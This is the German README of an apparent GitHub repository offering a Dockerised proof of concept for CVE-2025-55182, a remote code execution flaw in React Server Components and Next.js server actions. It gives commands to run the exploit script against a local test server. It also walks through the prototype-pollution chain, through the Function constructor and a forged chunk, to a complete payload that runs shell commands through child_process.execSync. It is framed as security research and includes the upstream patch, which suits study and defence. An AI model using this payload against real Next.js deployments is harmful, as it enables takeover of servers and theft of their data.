
Dockerisierter Proof-of-Concept für CVE-2025-55182, eine kritische RCE in React Server Components via Prototype Pollution, mit automatisierten Exploit-Skripten und einer verwundbaren Next.js-Testumgebung.
Dieses Repository enthält einen dockerisierten Proof of Concept für CVE-2025-55182, eine kritische Remote-Code-Ausführungsschwachstelle in React Server Components (RSC), die Next.js-Anwendungen betrifft, die Server-Aktionen verwenden.
Der ursprüngliche Proof of Concept und die Schwachstellenanalyse wurden von msanft erstellt. Dieses Repository erweitert dessen Arbeit durch die Bereitstellung einer dockerisierten Testumgebung für einfachere Tests und Demonstrationen.
requests-Bibliothek (pip install requests)Starten Sie den anfälligen Next.js-Server:
docker compose up --build -d
Warten Sie, bis der Server gestartet ist (überprüfen Sie die Logs mit docker compose logs -f nextjs-server)
Führen Sie den Exploit aus:
# Automatisiertes Skript (empfohlen)
./exploit-docker.sh
# Oder manuell
ACTION_ID=$(curl -s http://localhost:3000 | grep -o '[a-f0-9]\{40\}' | head -1)
python3 poc.py http://localhost:3000 "$ACTION_ID" "touch /tmp/rce_test"
Überprüfen Sie, ob der Exploit funktioniert hat:
docker compose exec nextjs-server ls -la /tmp/rce_test
# Datei erstellen
python3 poc.py http://localhost:3000 "$ACTION_ID" "touch /tmp/rce_test"
# In eine Datei schreiben
python3 poc.py http://localhost:3000 "$ACTION_ID" "echo 'RCE_SUCCESS' > /tmp/rce_output"
# Aktuellen Benutzer überprüfen
python3 poc.py http://localhost:3000 "$ACTION_ID" "whoami > /tmp/rce_user"
# Ergebnisse überprüfen
docker compose exec nextjs-server cat /tmp/rce_output
docker compose exec nextjs-server cat /tmp/rce_user
nextjs (UID 1001) innerhalb des Containers ausgeführtDieses Repository enthält ein vollständiges Docker-Setup zum Testen der Schwachstelle:
docker-compose.yml - Docker Compose-Konfigurationtest-server/ - Anfällige Next.js-Anwendungtest-server/Dockerfile - Produktions-Dockerfiletest-server/Dockerfile.dev - Entwicklungs-Dockerfile (optional)Der anfällige Server läuft mit Next.js 16.0.6 und einer einfachen Server-Aktion, die ausgenutzt werden kann.
poc.py - Python-Proof-of-Concept-Skript (Original von msanft, mit Korrekturen für Escape von Anführungszeichen)exploit-docker.sh - Automatisiertes Exploit-Skript für die Docker-UmgebungDOCKER_SETUP.md - Umfassende Docker-Setup-Dokumentation# Container stoppen
docker compose down
# Alles entfernen (einschließlich Volumes)
docker compose down -v
Die detaillierte Schwachstellenanalyse, die Exploitation-Kette und Patch-Informationen aus der ursprünglichen Forschung sind unten aufgeführt.
Diese Schwachstelle ermöglicht RCE in React Server Functions, wie sie z. B. von Next.js durch unsichere Prototyp-Referenzen angeboten werden.
Ich bin kein Experte für React oder Next.js, also nehmen Sie alle hier enthaltenen Informationen mit Vorsicht. Außerdem befinde ich mich noch im Analyseprozess, daher könnte das, was ich unten als „die Schwachstelle" bezeichne, nur ein kleiner Teil der gesamten Kette sein.
React bietet Server-Funktionen1, die als eine Art RPC-über-HTTP betrachtet werden können. Sie können zum Abrufen von Daten von benachbarten Peers verwendet werden, um eine niedrige Latenz zu gewährleisten, oder für authentifizierte Anfragen, für die der Client keine Anmeldeinformationen besitzt.
React verwendet etwas namens das React Flight Protocol2 zur Serialisierung von Werten, die an Server-Funktionen übergeben werden.
Der Client übergibt „Chunks" an den Server, z. B. über Formulardaten:
files = {
"0": (None, '["$1"]'),
"1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
"2": (None, '{"fruitName":"cherry"}'),
}
Wie gezeigt, können diese Referenzen untereinander haben. Das obige Payload wird auf dem Server wie folgt deserialisiert:
{ object: 'fruit', name: 'cherry' }
Das Format selbst ist etwas komplexer und erlaubt eine komplexere Serialisierung und Deserialisierung, aber dies bietet ein grundlegendes Verständnis für die eigentliche Schwachstelle.
Bis zu diesem Commit3 hat React beim Durchlaufen von Chunks in der
Referenzauflösung – z. B. beim Abrufen des fruitName aus Chunk 2 im obigen
Beispiel – nicht überprüft, ob der angeforderte Schlüssel tatsächlich auf dem
Objekt gesetzt war. Dies erlaubte uns, den Objekt-Prototyp4 zu erhalten.
Dies kann mit einem Payload wie diesem demonstriert werden:
files = {
"0": (None, '["$1:__proto__:constructor:constructor"]'),
"1": (None, '{"x":1}'),
}
Welches zum Funktionskonstruktor5 deserialisiert:
[Function: Function]
Wenn der Chunk mit der ID 0 kein Array, sondern ein Objekt ist, können wir
den then-Schlüssel auf den Funktionskonstruktor setzen. Das Objekt wird dann
von der decodeReplyFromBusboy-Funktion zurückgegeben und von Next.js abgewartet:
// action-handler.ts:888 (pre-patch)
boundActionArguments = await decodeReplyFromBusboy(
busboy,
serverModuleMap,
{ temporaryReferences }
)
Wenn dies ein Thenable zurückgibt, wird es vom await im Aufrufer aufgerufen.
Genau das passiert mit diesem Payload:
files = {
"0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
"1": (None, '{"x":1}'),
}
Was zu diesem Fehler führt:
SyntaxError: Unexpected token 'function'
at Object.Function [as then] (<anonymous>) {
digest: '1259793845'
}
Der Fehler sieht so aus, weil V8 eine mit await abgewartete Funktion mit
den internen resolve- und reject-Funktionen aufruft, die, wenn sie mit
toString serialisiert werden, etwa so aussehen:
function () { [native code] }
Da wir trivial den Function-Konstruktor abrufen können, ist der
geradlinige Weg, ein Call-Gadget zu finden, das den Konstruktor mit einem
benutzergesteuerten Wert (d. h. dem Code der Funktion als String) aufruft
und später die zurückgegebene Funktion ausführt.
Es gibt mehrere Stellen, die den Funktionskonstruktor aufrufen können,
z. B. resolveServerReference, wo id ein kontrolliertes Objekt ist,
und lastIndexOf überschrieben werden kann, um einen benutzergesteuerten
String zurückzugeben (z. B. über Array.prototype.join) und slice auf
den Funktionskonstruktor gesetzt werden kann. Diese Stelle funktioniert
jedoch nicht, da der zweite Aufruf von .slice() eine Zahl als erstes
Argument liefert, die – soweit ich weiß – nie vom Funktionskonstruktor
verarbeitet werden kann.
Hier kommt eine brillante Idee von maple31426 ins Spiel. Wenn getChunk
den Chunk bei ID 0 als Wurzelreferenz abruft, um die Referenzkette
aufzulösen, kann dieser selbe Chunk zu einem maßgeschneiderten
„Fake-Chunk" aufgelöst werden.
Wir können den maßgeschneiderten Chunk 0 in Chunk 1 mit der $@-Syntax
referenzieren, die den „rohen" Chunk zurückgibt, nicht seinen aufgelösten
Wert:
case "@":
return (
(obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
);
In Kombination mit unserer then-Überschreibung von oben können wir
so etwas erstellen:
files = {
"0": (None, '{"then": "$1:__proto__:then"}'),
"1": (None, '"$@0"'),
}
Hier überschreibt Chunk 0 seinen eigenen .then() mit dem .then() seiner
eigenen rohen Chunk-Darstellung. Vereinfacht gesagt überschreiben wir
unseren eigenen .then() mit Chunk.prototype.then, das existiert, da
Chunks selbst Thenables sind:
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) {
case "resolved_model":
initializeModelChunk(this);
}
// ...
Mit dem obigen Payload wird Chunk.prototype.then schließlich mit dem
maßgeschneiderten Chunk mit ID 0 aufgerufen.
Wie oben gezeigt, wenn .status auf unserem Fake-Chunk resolved_model ist:
files = {
"0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
"1": (None, '"$@0"'),
}
Gelangen wir in initializeModelChunk. Hier wird .value als JSON geparst,
und dann werden Referenzen auf dem zurückgegebenen Objekt aufgelöst, wobei
der „äußere" Kontext unserer Chunks mit den IDs 0 und 1 verwendet wird:
function initializeModelChunk(chunk) {
// ...
var rawModel = JSON.parse(resolvedModel),
value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
// ...
Innerhalb dieses Vorgangs erhalten wir nun einen zweiten Durchlauf der Auswertung mit einigen zusätzlichen Werten, auf die wir aufgrund des bereits aufgelösten äußeren Kontexts Zugriff haben.
Es gibt ein Call-Gadget in der Verarbeitung von Blob-Daten mit dem $B-Präfix
im Flight-Protokoll:
case "B":
return (
(obj = parseInt(value.slice(2), 16)),
response._formData.get(response._prefix + obj)
);
Unter Verwendung des speziellen _response-Felds kontrollieren wir die
response-Eigenschaft des maßgeschneiderten Chunks:
// in initializeModelChunk
value = reviveModel(chunk._response, // ...
Hiermit können wir ein Objekt mit gefälschten ._formData- und ._prefix-
Eigenschaften erstellen:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"return foo; // ",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
Das .reason muss hinzugefügt werden, um ein Fehlschlagen beim toString-
Aufruf in initializeModelChunk zu umgehen:
var rootReference = -1 === chunk.reason ? void 0 : chunk.reason.toString(16), resolvedModel = chunk.value;
Indem wir ._formData auf den Funktionskonstruktor und ._prefix auf
unseren Code zeigen, erhalten wir ein Aufruf-Gadget für den
Funktionskonstruktor in der Blob-Deserialisierung:
response._formData.get(response._prefix + "0")
// wird zu
Function("return foo; // 0")
Unsere maßgeschneiderte Funktion wird dann von parseModelString als
die .then()-Methode des maßgeschneiderten Chunks zurückgegeben, die
ebenfalls abgewartet wird, da dies alles in einer einzelnen Promise-
Auflösungskette stattfindet. Wenn wir also ein Thenable zurückgeben,
wird unsere maßgeschneiderte Funktion aufgerufen. Dies stellt das
erforderliche, oben referenzierte Call-Gadget dar.
Wenn wir dies alles mit einem tatsächlichen RCE-Payload zusammenführen, erhalten wir so etwas:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
# "reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"process.mainModule.require('child_process').execSync('calc');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
Die Verwendung der Chunk-Referenzen zum Abrufen von Prototyp-Eigenschaften wird mit dieser Prüfung behoben:
@@ -78,7 +80,10 @@ export function preloadModule<T>(
export function requireModule<T>(metadata: ClientReference<T>): T {
const moduleExports = parcelRequire(metadata[ID]);
- return moduleExports[metadata[NAME]];
+ if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
+ return moduleExports[metadata[NAME]];
+ }
+ return (undefined: any);
}
https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/HEAD/%3Chttps:/react.dev/reference/rsc/server-functions%3E ↩
https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/HEAD/%3Chttps:/tonyalicea.dev/blog/understanding-react-server-components/%3E ↩
https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/HEAD/%3Chttps:/github.com/facebook/react/pull/35277/commits/e2fd5dc6ad973dd3f220056404d0ae0a8707998d%3E ↩
https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/HEAD/%3Chttps:/developer.mozilla.org/en-US/docs/Learn_web_development/Extensions/Advanced_JavaScript_objects/Object_prototypes%3E ↩
https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/HEAD/%3Chttps:/developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/Function%3E ↩